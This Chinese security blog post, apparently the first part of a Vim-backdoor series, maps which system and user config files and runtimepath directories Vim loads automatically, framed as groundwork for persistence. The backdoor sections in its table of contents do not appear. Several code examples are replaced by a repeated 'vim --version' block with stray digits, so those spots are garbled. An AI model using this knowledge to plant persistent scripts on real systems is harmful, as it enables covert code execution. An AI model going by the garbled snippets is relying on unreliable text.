0x00 简介
0x00 简介
0x01 Vim 配置加载过程
1. vim 配置说明
2. 确定已加载的配置
3. 系统级配置文件解析
4. 用户配置文件解析
5. 用户层ex编辑器配置文件
6. 默认配置文件
7. 自动加载的配置文件
8. vim 配置加载过程初步总结
0x02 Vim 配置加载细节问题
1. 系统配置与用户配置
2. 用户配置与默认配置文件
3. 用户配置与用户配置
4. runtimepath 与 $VIMRUNTIME
5. 哪些目录自动加载
6. 哪些文件自动加载
7. 自动加载好奇的知识点
0x03 vim 后门说明
0x04 vim 自身文件后门
1. 查找 vim 命令程序位置
2. 制作后门文件
0x05 配置文件后门
1. 执行系统命令
2. 屏蔽控制台输出
3. 规避 vim 阻塞
0x06 features
1. +libcall
2. +packages
3. +python3
4. +user_commands
5. +vim9script
0x07 总结
0x08 往期文章
0x01 Vim 配置加载过程
vim 配置加载过程简单描述就是先加载系统级别配置,之后加载个人用户配置,接下来以 Ubuntu 22.04 为例
可以通过 vim --version
来进行查看各种文件的位置以及一些系统包含的插件
vim --version
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
1. vim 配置说明
系统级别配置文件
$VIM/vimrc
用户配置文件
$HOME/.vimrc
次优先级用户配置文件
~/.vim/vimrc
用户层ex编辑器配置文件
$HOME/.exrc
默认配置文件
$VIMRUNTIME/defaults.vim
次默认配置文件
/usr/share/vim
其中 $VIM
是 vim 内置的变量而不是 Linux 的环境变量,当然 vim 也是可以使用 Linux 环境变量的
通过在vim的底线命令模式中 echo $变量名
来获取 vim 的配置文件地址
因此,在 Ubuntu Server 22.04 vim 默认配置为
系统级别配置文件
$VIM/vimrc
——>/usr/share/vim/vimrc -> /etc/vim/vimrc
用户配置文件
$HOME/.vimrc
——>~/.vimrc
次优先级用户配置文件
~/.vim/vimrc
用户层ex编辑器配置文件
$HOME/.exrc
——>~/.exrc
默认配置文件
$VIMRUNTIME/defaults.vim
——>/usr/share/vim/vim82/defaults.vim
$VIM
后备配置文件/usr/share/vim
2. 确定已加载的配置
但是这些配置文件中可能还会引用其他配置文件,因此想要了解本次vim 请求加载了哪些配置文件可以通过在vim的底线命令模式中输入 scriptnames
Ubuntu Server 22.04 默认情况下是没有 ~/.vim
目录的
首先加载的是系统级配置文件 /usr/share/vim/vimrc
, 之后根据系统级配置文件的内容加载了一些配置文件内容,默认没有发现用户级配置文件的加载
可以看到默认并没有用户配置
3. 系统级配置文件解析
vim 配置文件有自己的一套 vim 脚本语法,具体可以通过下面的链接进行学习
其中 "
是注释符号, runtime! xxx.vim
表示强制重新加载 xxx.vim
/usr/share/vim/vimrc
-> /etc/vim/vimrc
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
去掉注释后
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
分为三部分
runtime! debian.vim 强制重新加载 debian.vim
经过测试,这里 debian.vim
所在路径为 $VIMRUNTIME
的值(/usr/share/vim/vim82
)的目录下
经过测试,这里直接写绝对路径是不行的,必须是这个目录的相对路径
if has("syntax")
syntax on
endif
这段代码检查当前 vim 是否支持语法高亮,如果支持则打开语法高亮
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
这段配置代码的意思是,如果文件/etc/vim/vimrc.local
存在并且可读,则加载该文件
/usr/share/vim/vim82/debian.vim
这一看就是 debian 系操作系统特有的文件, Centos 以及 Rocky Linux 等没有这个文件,甚至系统级配置文件位置都不同
根据 /etc/vim/vimrc
中注释描述,将所有系统侧配置文件都放置在 /usr/share/vim/vim82/debian.vim
文件中,每次程序升级时,都有可能覆盖更新 /usr/share/vim/vim82/debian.vim
文件,因此一些个性化配置尽量在个人用户配置处进行
" Normally we use vim-extensions. If you want true vi-compatibility
" remove change the following statements
set nocompatible " Use Vim defaults instead of 100% vi compatibility
set backspace=indent,eol,start " more powerful backspacing
" Now we set some defaults for the editor
set history=50 " keep 50 lines of command line history
set ruler " show the cursor position all the time
" modelines have historically been a source of security/resource
" vulnerabilities -- disable by default, even when 'nocompatible' is set
set nomodeline
" Suffixes that get lower priority when doing tab completion for filenames.
" These are files we are not likely to want to edit or read.
set suffixes=.bak,~,.swp,.o,.info,.aux,.log,.dvi,.bbl,.blg,.brf,.cb,.ind,.idx,.ilg,.inx,.out,.toc
" We know xterm-debian is a color terminal
if &term =~ "xterm-debian" || &term =~ "xterm-xfree86"
set t_Co=16
set t_Sf=[3%dm
set t_Sb=[4%dm
endif
" Some Debian-specific things
if has('gui')
" Must define this within the :if so it does not cause problems with
" vim-tiny (which does not have +eval)
function! <SID>MapExists(name, modes)
for mode in split(a:modes, 'zs')
if !empty(maparg(a:name, mode))
return 1
endif
endfor
return 0
endfunction
" Make shift-insert work like in Xterm
autocmd GUIEnter * if !<SID>MapExists("<S-Insert>", "nvso") | execute "map <S-Insert> <MiddleMouse>" | endif
autocmd GUIEnter * if !<SID>MapExists("<S-Insert>", "ic") | execute "map! <S-Insert> <MiddleMouse>" | endif
endif
" Set paper size from /etc/papersize if available (Debian-specific)
if filereadable("/etc/papersize")
let s:papersize = matchstr(readfile('/etc/papersize', '', 1), 'p*')
if strlen(s:papersize)
exe "set printoptions+=paper:" . s:papersize
endif
endif
这个配置文件中未包含对其他配置文件的引用
/etc/vim/vimrc.local
Ubuntu Server 22.04 中默认不存在这个文件
4. 用户配置文件解析
~/.vimrc
~/.vim/vimrc
Ubuntu 默认不存在vim个人用户配置文件
5. 用户层ex编辑器配置文件
~/.exrc
Ubuntu Server 22.04 默认不存在该配置文件
6. 默认配置文件
默认配置文件在没有个人用户的配置文件时使用,Ubuntu Server 22.04 默认无个人默认配置文件,因此默认情况下会启用默认配置文件
$VIMRUNTIME/defaults.vim
——> /usr/share/vim/vim82/defaults.vim
" The default vimrc file.
"
" Maintainer: Bram Moolenaar <[email protected]>
" Last change: 2021 Nov 17
"
" This is loaded if no vimrc file was found.
" Except when Vim is run with "-u NONE" or "-C".
" Individual settings can be reverted with ":set option&".
" Other commands can be reverted as mentioned below.
" When started as "evim", evim.vim will already have done these settings.
if v:progname =~? "evim"
finish
endif
" Bail out if something that ran earlier, e.g. a system wide vimrc, does not
" want Vim to use these default values.
if exists('skip_defaults_vim')
finish
endif
" Use Vim settings, rather than Vi settings (much better!).
" This must be first, because it changes other options as a side effect.
" Avoid side effects when it was already reset.
if &compatible
set nocompatible
endif
" When the +eval feature is missing, the set command above will be skipped.
" Use a trick to reset compatible only when the +eval feature is missing.
silent! while 0
set nocompatible
silent! endwhile
" Allow backspacing over everything in insert mode.
set backspace=indent,eol,start
set history=200 " keep 200 lines of command line history
set ruler " show the cursor position all the time
set showcmd " display incomplete commands
set wildmenu " display completion matches in a status line
set ttimeout " time out for key codes
set ttimeoutlen=100 " wait up to 100ms after Esc for special key
" Show @@@ in the last line if it is truncated.
set display=truncate
" Show a few lines of context around the cursor. Note that this makes the
" text scroll if you mouse-click near the start or end of the window.
set scrolloff=5
" Do incremental searching when it's possible to timeout.
if has('reltime')
set incsearch
endif
" Do not recognize octal numbers for Ctrl-A and Ctrl-X, most users find it
" confusing.
set nrformats-=octal
" For Win32 GUI: remove 't' flag from 'guioptions': no tearoff menu entries.
if has('win32')
set guioptions-=t
endif
" Don't use Ex mode, use Q for formatting.
" Revert with ":unmap Q".
map Q gq
" CTRL-U in insert mode deletes a lot. Use CTRL-G u to first break undo,
" so that you can undo CTRL-U after inserting a line break.
" Revert with ":iunmap <C-U>".
inoremap <C-U> <C-G>u<C-U>
" Only do this part when Vim was compiled with the +eval feature.
if 1
" Enable file type detection.
" Use the default filetype settings, so that mail gets 'tw' set to 72,
" 'cindent' is on in C files, etc.
" Also load indent files, to automatically do language-dependent indenting.
" Revert with ":filetype off".
filetype plugin indent on
" Put these in an autocmd group, so that you can revert them with:
" ":augroup vimStartup | exe 'au!' | augroup END"
augroup vimStartup
au!
" When editing a file, always jump to the last known cursor position.
" Don't do it when the position is invalid, when inside an event handler
" (happens when dropping a file on gvim) and for a commit message (it's
" likely a different one than last time).
autocmd BufReadPost *
if line("'"") >= 1 && line("'"") <= line("$") && &ft !~# 'commit'
| exe "normal! g`""
| endif
augroup END
" Quite a few people accidentally type "q:" instead of ":q" and get confused
" by the command line window. Give a hint about how to get out.
" If you don't like this you can put this in your vimrc:
" ":augroup vimHints | exe 'au!' | augroup END"
augroup vimHints
au!
autocmd CmdwinEnter *
echohl Todo |
echo 'You discovered the command-line window! You can close it with ":q".' |
echohl None
augroup END
endif
" Switch syntax highlighting on when the terminal has colors or when using the
" GUI (which always has colors).
if &t_Co > 2 || has("gui_running")
" Revert with ":syntax off".
syntax on
" I like highlighting strings inside C comments.
" Revert with ":unlet c_comment_strings".
let c_comment_strings=1
endif
" Convenient command to see the difference between the current buffer and the
" file it was loaded from, thus the changes you made.
" Only define it when not defined already.
" Revert with: ":delcommand DiffOrig".
if !exists(":DiffOrig")
command DiffOrig vert new | set bt=nofile | r ++edit # | 0d_ | diffthis
| wincmd p | diffthis
endif
if has('langmap') && exists('+langremap')
" Prevent that the langmap option applies to characters that result from a
" mapping. If set (default), this may break plugins (but it's backward
" compatible).
set nolangremap
endif
在该配置文件中,也没有发现引入其他配置文件
7. 自动加载的配置文件
通过我们对各种 vim 官方的各种配置文件进行分析,但是并没有发现图中的 /usr/share/vim/vim82/syntax/syntax.vim
以及下面一系列的配置文件的加载部分,也就是说除了配置文件以外,还有其他部分决定着加载一些配置文件
通过一些学习,我发现 vim 会自动加载 runtimepath
这个项(options
) 值指向的目录中的部分目录下的配置文件,这段话有点绕,下面举例子
查看 runtimepath 的值
底线命令模式下
set runtimepath?
可以看到,Ubuntu 默认的 vim runtimepath 的值为
runtimepath=~/.vim,/var/lib/vim/addons,/etc/vim,/usr/share/vim/vimfiles,/usr/share/vim/vim82,/usr/share/vim/vimfi
les/after,/etc/vim/after,/var/lib/vim/addons/after,~/.vim/after测试其中一个目录中新建
plugin
目录并放置1.vim
配置文件以
/var/lib/vim/addons
目录为例默认情况是不启用行号的,接下来尝试在
/var/lib/vim/addons
目录新建plugin
目录,并在其中创建1.vim
配置文件,配置文件中写入set number
来让 vim 显示行号配置成功生效
8. vim 配置加载过程初步总结
0x02 Vim 配置加载细节问题
1. 系统配置与用户配置
1) 相同的配置项以谁为准
一般软件来说,遇到相同配置项,最终都是以用户配置为准,我们通过一个实验来测试 vim 是如何做的
实验思路:
通过在系统配置 /etc/vim/vimrc
中配置set background=dark
,用户配置 ~/.vimrc
中配置set background=light
测试最终vim背景颜色来判断最终结果
默认背景颜色为 dark
系统配置背景颜色为 dark
用户配置背景颜色为白色
现在打开 1.txt
查看背景颜色
配置最终以用户配置为准,但是似乎背景颜色没有改成白色,难道是 ssh 连接的原因吗?通过图形化界面测试也是一样,推测可能是 Ubuntu 的终端或vim不支持设置背景颜色
通过 background 项的值可知,系统配置与用户配置遇到相同值的情况下,以用户配置为主
现在我们加了用户配置,我们看一下详细的配置加载情况
可以看到, ~/.vimrc
是在 /usr/share/vim/vimrc
后加载的,也就是说可能是遇到相同配置项以后加载的配置文件为准,我们尝试在 /var/lib/vim/addons/plugin/1.vim
中添加 set background=dark
因此得出结论:vim 的配置文件在配置项相同的时候,以后加载的配置文件的结果为准
与常规软件的配置文件规则一样
其实在 vim 中可以在底线命令模式下输入 verbose set background?
来查看 background
这个项的值是来自哪个配置文件
2) 被覆盖的配置项会执行吗
上一个实验中被覆盖的 background
配置项,在未被覆盖前,系统配置文件中是否生效了呢?
肯定是生效过对吧,但是最为一个相对严谨的安全研究员,我们还是通过实验来验证一下
先科普 vim 配置文件中设置变量和打印变量的方法
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
0
实验思路:
在系统配置文件中设置变量 flag
变量值为system
在用户配置文件中打印 flag
变量在用户配置文件中设置 flag
变量值为user
在 /var/lib/vim/addons/plugin/1.vim
中打印flag
变量
现在尝试通过 vim 编辑 1.txt
可以看出,虽然最终 flag
变量的值被修改了,但是系统配置中设置 flag
变量这个操作是成功了的,相信看到这里,部分小伙伴已经对后门有想法了,但请不要着急,这部分主要是探索 vim 配置详细加载情况
2. 用户配置与默认配置文件
1) 用户配置文件存在且不为空
在 /etc/vim/vimrc
中曾有介绍,如果不存在用户配置文件,将启用默认配置文件 $VIMRUNTIME/defaults.vim
,如果存在用户配置文件,则不启动,实际情况是这样的吗?我们需要进行一个实验
实验思路
创建用户配置文件 ~/.vimrc
删除 /var/lib/vim/addons/plugin/1.vim
以及plugin
文件夹在默认配置文件中写入 set number
编辑 1.txt
查看结果
可以看到,存在用户配置文件的情况下,确实默认配置文件不会执行
如果用户配置文件是 ~/.vim/vimrc
也这样吗
用户配置文件 ~/.vim/vimrc
也是生效的
2) 用户配置文件存在且为空
如果用户配置文件存在,但是内容是空的,这种情况下默认配置文件会生效吗
可以看出,默认配置文件判断的是文件存不存在,而不是有没有内容
3) 用户配置文件不存在
如果用户配置文件不存在,默认文件就会执行吗
果然,在用户配置文件不存在的情况下,默认配置会生效
4) .vim 文件夹存在,用户配置文件不存在
看来默认配置文件检查的是具体的文件而不是目录
5) .vim/plugin/1.vim 存在,用户配置文件不存在
两个配置文件都执行了
3. 用户配置与用户配置
用户主配置文件也有两个文件 ~/.vimrc
和 ~/.vim/vimrc
,用户配置文件其他内容都在 ~/.vim/
目录下
Ubuntu 22.04 默认情况没有用户配置文件 ~/.vim/*
和 ~/.vimrc
1) 两个用户配置同时存在
如果 ~/.vimrc
或 ~/.vim/vimrc
只存在一个,则会自动执行,当两个文件同时存在会怎么样呢?
实验思路:
~/.vimrc
设置变量flag
的值为 0~/.vim/vimrc
设置变量flag
的值为 1echo 变量 flag
当两个用户配置文件同时存在时,默认会启用 ~/.vimrc
2) ~/.vimrc
存在, .vim/plugin
目录下配置文件是否执行
.vim/plugin
目录下的文件加载不受用户配置文件影响
4. runtimepath 与 $VIMRUNTIME
runtimepath
是一个配置项,而 $VIMRUNTIME
是一个vim自有的环境变量,每次启动 vim 时会将 $VIMRUNTIME
的值更新到 runtimepath
配置项中
1) 在 vim 中临时修改 $VIMRUNTIME 的值,会直接修改 runtimepath
吗
可以得出结论,在运行的 vim 中临时修改 $VIMRUNTIME
环境变量的值并不会影响 runtimepath
项的值
2) 永久修改 $VIMRUNTIME 的值,会修改 runtimepath
吗
看来似乎通过用户配置永久修改 $VIMRUNTIME
不会对 runtimepath
造成影响,尝试通过系统配置文件永久修改 $VIMRUNTIME
可以看到,启动vim会报错,找不到 /tmp/syntax/syntax.vim
,这说明设置生效了,我们回车继续
可以看到, runtimepath
的值并未受到影响,因此似乎 runtimepath
的值并不来自于 $VIMRUNTIME
但是看很多文章中都写的是 runtimepath
的值由多部分组成,其中一部分是 $VIMRUNTIME
,为什么我们修改了会失败呢?
此时我突然想起了修改后启动 vim 的报错,难道是修改后由于 /tmp
目录下缺少相关文件导致的?
实验证明一下
首先是执行 vim 不再报错了
结果还是一样的
有趣的是,在加载配置文件列表中,确实有几个配置文件是从 /tmp/vim_runtime
目录加载的,而 debian.vim
竟然没有从 /tmp/vim_runtime
之前我们讲过, debian.vim
的路径是从 $VIMRUNTIME
获取的,而强制重新加载 debian.vim
的配置文件的指令就在系统配置文件/etc/vim/vimrc
之中,如果这种脚前脚后的关系都无济于事的话,那后面的配置文件不使用我们修改过后的地址的配置文件也是可以理解的了
继续实验,在 /etc/vim/vimrc
中设置一下打印的选项,分别打印 $VIMRUNTIME
和 runtimepath
的值
从这个结果可以看出,在加载第一个配置文件/etc/vim/vimrc
之前, runtimepath
就已经存在了,因此我们在 /etc/vim/vimrc
中修改 $VIMRUNTIME
的值后也不会重新生成 runtimepath
但是重新加载 debian.vim
是在设置 $VIMRUNTIME
之后,为何 debian.vim
不使用我们修改后的$VIMRUNTIME
的值就很难让人理解了
既然我们修改了 $VIMRUNTIME
之后,有几个配置文件还是跟着改了目录的,因此我们尝试在 /etc/vim/vimrc
中使用 runtime! xxx.vim
来加载它们,看看这回是什么路径
这就说明 runtime!
命令加载的地址根本就不是当前$VIMRUNTIME
既然从加载第一个配置文件前,runtimepath
和 $VIMRUNTIME
就已经设置好了,要么是 vim 还有其他的配置文件,要么是 vim 直接从系统获取的配置
删除掉刚刚配置 $VIMRUNTIME
的内容,采用 Linux 环境变量的方式进行配置
果然,$VIMRUNTIME
是从 Linux 操作系统的环境变量来的
因此永久修改 $VIMRUNTIME
不一定会修改 runtimepath
,只有通过Linux 操作系统环境变量来永久修改 $VIMRUNTIME
时才会修改 runtimepath
的值,通过vim系统配置文件的方式永久修改 $VIMRUNTIME
不会修改 runtimepath
的值
3) runtimepath 是否可以通过环境变量设置
可以看到并没有什么影响,因此 runtimepath
的值并不是来自于 Linux 操作系统环境变量
4) runtimepath 是否可以通过配置文件修改
从结果可以看出,实际上 runtime! xxx.vim
引用的配置文件地址并不是由 $VINRUNTIME
来决定的,而是由 runtimepath
来决定的,这里官方应该是写错了,只不过由于 runtimepath
默认是由 $VIMRUNTIME
组成的,所以错得不是很明显
而 defaults.vim
是实打实的 $VIMRUNTIME
5. 哪些目录自动加载
autoload
目录:包含自动加载的脚本文件colors
目录:包含颜色主题文件compiler
目录:包含编译器配置文件doc
目录:包含文档文件ftplugin
目录:包含文件类型相关的插件脚本indent
目录:包含文件类型相关的缩进脚本keymap
目录:包含键盘映射脚本lang
目录:包含语言相关的文件plugin
目录:包含插件脚本文件syntax
目录:包含语法高亮脚本文件ftdetect
目录:包含文件类型检测脚本after
目录:包含 Vim 启动后加载的配置文件
1) autoload
如果大家看过《程序员的自我修养》、看过我写的《学完ELF后人间清醒的总结v1.0》或者了解过ELF文件结构与加载过程,大家肯定会了解一个概念 —— 延迟绑定
其实 autoload 的思想也是一样,对于需要程序启动时加载的插件就启动时加载,刚启动时用不到后期用到的插件就什么时候用,什么时候加载
这些启动 vim 过程中用不到的插件就放在 autoload 目录下,以自动函数的形式存放
自动函数也是一种函数,不过有一个固定的规范,autoload 下的文件名与函数名部分内容必须一致,举个例子
自动函数文件:/usr/share/vim/vim82/autoload/demo.vim
自动函数的定义
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
1
这个函数名字由 demo
#
MyFunction
组成,其中 deno
必须与文件名 demo
相同,#
是固定格式,具体函数名自定义就好
自动函数的加载
可以在 vim 的底线命令模式下直接输入 :call demo#MyFunction()
进行加载
当然,也可以通过写入到配置文件的方式加载
2) colors
colors 文件夹是 vim 的配色方案存储的文件夹,除非使用插件管理器(例如 vim-plug
) ,不然不会自动加载,可以通过 colorscheme mycolorscheme
来加载 colors/mycolorscheme.vim
这个颜色配置文件,举例如下:
Vim颜色配置文件: /usr/share/vim/vim82/colors/color_demo.vim
在 /etc/vim/vimrc
中添加 colorscheme color_demo
测试效果
成功加载配置文件
3) compiler
compiler 是与编译器相关的配置文件夹,当用户在底线命令模式中使用:compiler xxx
的时候,会自动加载compiler
目录下同名的配置文件
在 compiler
目录下已有的 gcc.vim
中添加 set number
打开 vim 测试效果
成功加载我们加入的配置
如果希望在vim打开某个类型的文件时,就加载相关类型对应的编译器配置文件,可以通过在 /etc/vim/vimrc
进行相关配置
以打开 go
类型文件时,自动切换 go
编译器,之后加载 /usr/share/vim/vim82/compiler/go.vim
为例
先通过 vim 打开 1.go
文件,查看未进行相关设置前效果
在 /usr/share/vim/vim82/compiler/go.vim
中添加 set number
接下来一步很重要
在 /etc/vim/vimrc
中添加 autocmd FileType go compiler go
打开 1.go
进行测试
如果你还不满足,希望在 vim 启动的时候就自动加载 compiler
目录下的某个配置文件,除了直接引用的方式以外,可以利用 VimEnter
事件通过在 /etc/vim/vimrc
中添加 autocmd VimEnter * compiler gcc
,实现打开任意类型文件时都加载 gcc
编译器,进而加载 gcc.vim
配置文件
在 /usr/share/vim/vim82/compiler/gcc.vim
中添加 set number
在 /etc/vim/vimrc
中添加 autocmd VimEnter * compiler gcc
打开 1.go
测试效果
打开 1.txt
测试效果
直接启动vim测试效果
成功加载我们的配置文件
4) doc
这个目录下的文件都是帮助文档,并不会自动加载,通常用户在底线命令模式下输入 :help xxx
就会显示出来了
5) ftplugin
ftplugin
目录用于存放与文件类型相关的配置文件。这些文件可以根据文件类型自动加载,并为特定类型的文件提供相关的设置和命令。
这回以 python 类型文件为例
在 /usr/share/vim/vim82/ftplugin/python.vim
中添加 set number
打开 1.txt
进行测试
打开 1.py
进行测试
如果我们想为后缀名为 .pwd
的文件进行相关配置,直接在 ftplugin
目录下放置一个 pwd.vim
就可以吗?
打开 1.pwd
查看效果
看来没有那么简单,需要额外进行配置
需要在 /etc/vim/vimrc
中添加如下配置
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
2
打开 1.txt
进行测试
打开 1.pwd
进行测试
成功实现在打开自定义类型文件时执行自定义的配置文件
6) indent
indent
目录用于存放与缩进相关的配置文件。这些文件可以根据文件类型自动加载,并为特定类型的文件提供自定义的缩进设置
这回以 rust
文件为例
在 /usr/share/vim/vim82/indent/rust.vim
中添加 set number
打开 1.txt
测试效果
打开 1.rs
测试效果
成功加载相关配置文件
和上面相同,如果想要自定义一个 .pwd
类型文件的缩进配置,如何操作呢?
其实文件类型配置这些东西主要都是记录在一个文件中 /usr/share/vim/vim82/filetype.vim
,但是我们在这里不着急讨论,放在后面部分,我们参考其中的书写方法,在 /etc/vim/vimrc
文件中进行配置
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
3
在 /etc/vim/vimrc
中添加下面的内容
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
4
在 indent
文件夹内添加 pwd.vim
打开 1.txt
和 1.go
测试效果
打开 1.pwd
文件测试效果
成功加载自定义的配置文件
7) keymap
keymap
目录用于存放与键位映射相关的配置文件。这些文件可以根据文件类型自动加载,并为特定类型的文件提供自定义的键位映射
vim 默认的键位映射文件并不多,常见的 Python、Go 等都没有,正好我们为 .pwd
新建一个键位映射文件
看来还是需要在 /etc/vim/vimrc
中添加对 .pwd
后缀文件的解析结果配置
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
4
打开 1.txt
测试效果
打开 1.pwd
测试效果
成功加载自定义的配置文件
8) lang
lang
目录用于存放与语言相关的配置文件。这些文件默认不会自动加载,一般在使用vim 部分多语言支持的插件时才会加载,当然,我们可以使用上面的 vim 事件来让其加载,这种加载方式适合于任何目录的配置文件
在 lang
目录中新建 zh_CN_18030.vim
文件
在 /etc/vim/vimrc
中。写入如下内容
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
6
现在打开任意文件,测试效果
成功加载自定义的配置文件
这种加载方式适用于任何目录的文件,因此并非lang目录独有,经过测试, source
加载的语法文件后缀并不一定需要是 .vim
,其他后缀也是可以的
9) plugin
plugin
目录用于存放插件文件,这些插件文件可以添加新的功能、命令、映射键位等
这个目录太清爽了,不用配置,直接将配置文件放在里面就会在vim启动时自动加载,加载顺利是按照字母顺序来进行的
这个目录默认存在的文件不多,我们新建一个,在新建之前,我们先看一下打开 1.txt
的效果
在 plugin
文件夹新建 toxml.vim
打开 1.txt
测试效果
成功加载自定义配置文件
10) syntax
syntax
目录中的语法文件用于提供代码高亮和语法解析的功能。这些语法文件通常会在打开相应类型的文件时自动加载。
默认打开 1.pwd
vim打开未匹配到文件类型的文件时,会自动加载 /usr/share/vim/vim82/syntax/nosyntax.vim
在 /usr/share/vim/vim82/syntax/nosyntax.vim
中添加 set number
再次打开 1.pwd
删除 /usr/share/vim/vim82/syntax/nosyntax.vim
中的 set number
接下来我们通过新增文件类型来实现自动加载
在 /etc/vim/vimrc
中新增以下内容
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
4
打开 1.pwd
成功加载自定义配置
11) ftdetect
ftdetect
目录用于自动检测文件类型,这个目录和plugin目录一样,目录下的配置文件可以自动加载
Ubuntu 22.04 中默认已经没有这个目录了,但是新建这个目录并在其中放置配置文件仍然有效
打开 1.txt
新建 ftdetect
目录并在其中创建 ttt.vim
成功加载自定义配置文件
12) macros
macros
目录用于存放宏文件,它们包含一系列 Vim 命令和操作的序列,macros
目录没有自动加载的特殊机制
13) pack
pack
目录用于管理插件和脚本包。当你将插件或脚本包放置在 pack
目录中时,Vim 会自动加载这些包
package 和 plugin 略有不同,package 可以包含多个插件,因此 pack 目录也有自己固定的格式
在 pack 目录创建包文件夹 —— mypackage
在 mypackage
中创建固定名称的文件夹start
在 start
文件夹中创建任意名称文件夹,以pack1
为例在 pack1
文件夹中创建固定名称文件夹plugin
或syntax
等在 plugin
或syntax
中创建任意名称的 vim 配置文件pack_test.vim
在 pack_test.vim
中写入set number
未设置前打开 1.txt
创建 package 并写入内容
打开 1.txt
成功加载了自定义配置文件
14) print
print
目录是 Vim 默认的打印支持脚本所在的位置,并不是用于自动加载脚本的目录
15) spell
spell
目录下的拼写检查文件可以通过自动加载来启用拼写检查功能,暂未发现可以自动启动的方法
16) tutor
tutor
目录下的教程文件是通过自动加载来启用 Vim 自带的教程功能的,暂未发现可以自动启动的方法
17) after
after
目录是 Vim 中一个特殊的目录,用于存放在 Vim 启动后加载的配置文件。after
目录中的配置文件可以用于覆盖默认的 Vim 配置,以及在 Vim 启动后进行进一步的个性化设置
Ubuntu 22.04 默认情况下没有 after
文件夹,我们可以新建该文件夹
after
目录既然是用来覆盖默认的 vim 配置,就有和默认配置文件夹相同的目录结构,也就是说 after
目录下的 plugin
目录中的配置文件也会自动执行
打开 1.txt
发现并没有执行
删除 after 目录,在用户配置文件中创建 after 目录,按照上面的方式进行测试
再次打开 1.txt
也就是说 在Ubuntu 22.04上after目录只在用户配置中有效,在系统级配置中无效
18) 自动加载的目录小结
目录名 | 自动加载 | 修改配置文件的方式加载 | 打开特定格式文件自动加载 | 未发现自动加载 |
---|---|---|---|---|
autoload | 1 | |||
colors | 1 | |||
compiler | 1 | |||
doc | 1 | |||
ftplugin | 1 | |||
indent | 1 | |||
keymap | 1 | |||
lang | 1 | |||
plugin | 1 | |||
syntax | 1 | |||
ftdetect | 1 | |||
macros | 1 | |||
pack | 1 | |||
1 | ||||
spell | 1 | |||
tutor | 1 | |||
after | 1 |
6. 哪些文件自动加载
经过上个小节的洗礼,大家应该已经轻车熟路了,想要确定具体加载了哪些脚本,只需要分别打开有文件类型的文件、未知文件类型的文件、直接执行 vim
,之后分别在底线命令模式下执行 :scriptnames
就可以看到默认加载的脚本了
使用 vim 打开 1.go
文件脚本的加载情况
使用 vim 打开 a
文件的脚本加载情况
直接执行 vim
